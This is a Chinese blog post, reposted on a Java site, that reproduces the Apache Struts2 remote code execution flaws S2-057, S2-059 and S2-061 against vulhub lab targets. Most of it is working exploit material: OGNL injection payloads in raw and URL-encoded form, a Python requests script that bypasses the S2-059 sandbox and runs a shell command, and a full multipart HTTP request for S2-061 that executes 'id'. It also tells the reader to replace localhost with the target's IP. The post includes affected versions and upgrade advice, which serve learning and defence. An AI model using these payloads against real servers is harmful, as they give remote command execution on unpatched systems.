发布于2021-06-12 14:34 阅读(904) 评论(0) 点赞(13) 收藏(4)
框架技术已经被广泛应用,越来越多的开发者喜欢使用框架,框架让开发变得更简单、更省时、更高效。现如今有名的 Java 三大框架 (Hibernate、Spring和Struts)
使用框架是好事还是坏事呢,对开发者,是好事,但是一旦出现了,安全漏洞,则是致命的,框架的用户群体使用越多,危害越大
Struts 是一个优秀的 MVC 框架,被称为 Java 的三大框架之一,你可以想象使用 Struts 的用户有多少,但是 Struts 的第二个版本爆发了很多致命的命令执行漏洞,所有使用Struts2 开发应用程序几乎都受到了影响。
Struts1 最初是独立的 MVC 框架,但是 Struts2 改写了 Struts1 的核心技术,换了一个习新的面貌,在底层采用了 XWORK 的核心。
XWORK 也是一个 MVC 框架,是 Struts1 的强力竞争对手,Struts1推广业务做得好,用户量要比 XWORK 多很多,但是从技术角度看,框架结构却没有 XWORK做得好,而 Strdent2 是在 Struts1 和 XWORK 技术基础上进行了合并,Struts2 与 Struts1 可以说相差非常大,算是一个全新的框架,
Struts 在历史上爆发了非常多的漏洞,其中几个比较知名的高危漏洞都是 Struts2 的代码执行漏洞。这里我们列举三个远程命令执行漏洞 历史漏洞官网
这里使用的靶场还是 vulhub
2018年8月22日,Apache Strust2发布最新安全公告,Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776),该漏洞由Semmle Security Research team的安全研究员Man YueMo发现。可能远程执行代码时 alwaysSelectFullNamespace
是true
(通过用户或类似公约插件的一个插件),然后:结果与没有使用namespace
和在同一时间时,其上package
没有或通配符namespace
和类似的结果,当使用相同的可能性url
标签,其不havevalue
和action
set 并且同时,它的上边package
有 no 或 wildcard namespace
。
升级到Struts 2.3.35或Struts [2.5.17
本实验版本 Struts 2.3.34 环境
进入vulhub 目录下的 Struts2/s2-057
[root@localhost s2-057]# docker-compose up -d
在 URL处输入 http://192.168.37.129:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
/struts2-showcase/$%7B233*233%7D/actionChain1.action
按回车发现命令被执行了,说明存在漏洞
使用来自 S2-057 漏洞和 POC 的有效载荷:
/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action
编码后的
/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
执行命令结果
Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。
受影响的版本:Struts 2.0.0 - Struts 2.5.20
环境依旧是 vulhub Struts 2.5.16
docker-compose up -d
访问 http://192.168.37.129:8080/?id=%25%7B233*233%7D ,可以看到 id 属性中已经返回了 233*233
的结果,引发 OGNL 表达式解析
POC绕过 Struts 2.5.16 版本的沙盒的 POC,利用这个 poc 可以达到执行系统命令
通过Python脚本复现漏洞
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
漏洞分析可以看这篇 Struts2-059 远程代码执行漏洞(CVE-2019-0230)分析
Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,可能照成控制服务器等危害。S2-061是对S2-059沙盒进行的绕过
Apache Struts 2.0.0-2.5.25
升级到Struts 2.5.26或更高版本
还是使用 vulhub 靶场
[root@localhost s2-061]# docker-compose up -d
访问目标地址 http://192.168.37.129:8080/?id=3
发送如下包就能执行 id 命令
POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
修改localhost IP 为目标机的 IP 即可 POC地址
漏洞分析 可以看这篇文章 Struts2 S2-061漏洞分析(CVE-2020-17530)
参考链接
原文链接:https://blog.csdn.net/fengzilin1973/article/details/117733322
作者:怎么没有鱼儿上钩呢
链接:http://www.javaheidong.com/blog/article/222293/057eb60d754b7b20c405/
来源:java黑洞网
任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任
昵称:
评论内容:(最多支持255个字符)
---无人问津也好,技不如人也罢,你都要试着安静下来,去做自己该做的事,而不是让内心的烦躁、焦虑,坏掉你本来就不多的热情和定力
Copyright © 2018-2021 java黑洞网 All Rights Reserved 版权所有,并保留所有权利。京ICP备18063182号-2
投诉与举报,广告合作请联系vgs_info@163.com或QQ3083709327
免责声明:网站文章均由用户上传,仅供读者学习交流使用,禁止用做商业用途。若文章涉及色情,反动,侵权等违法信息,请向我们举报,一经核实我们会立即删除!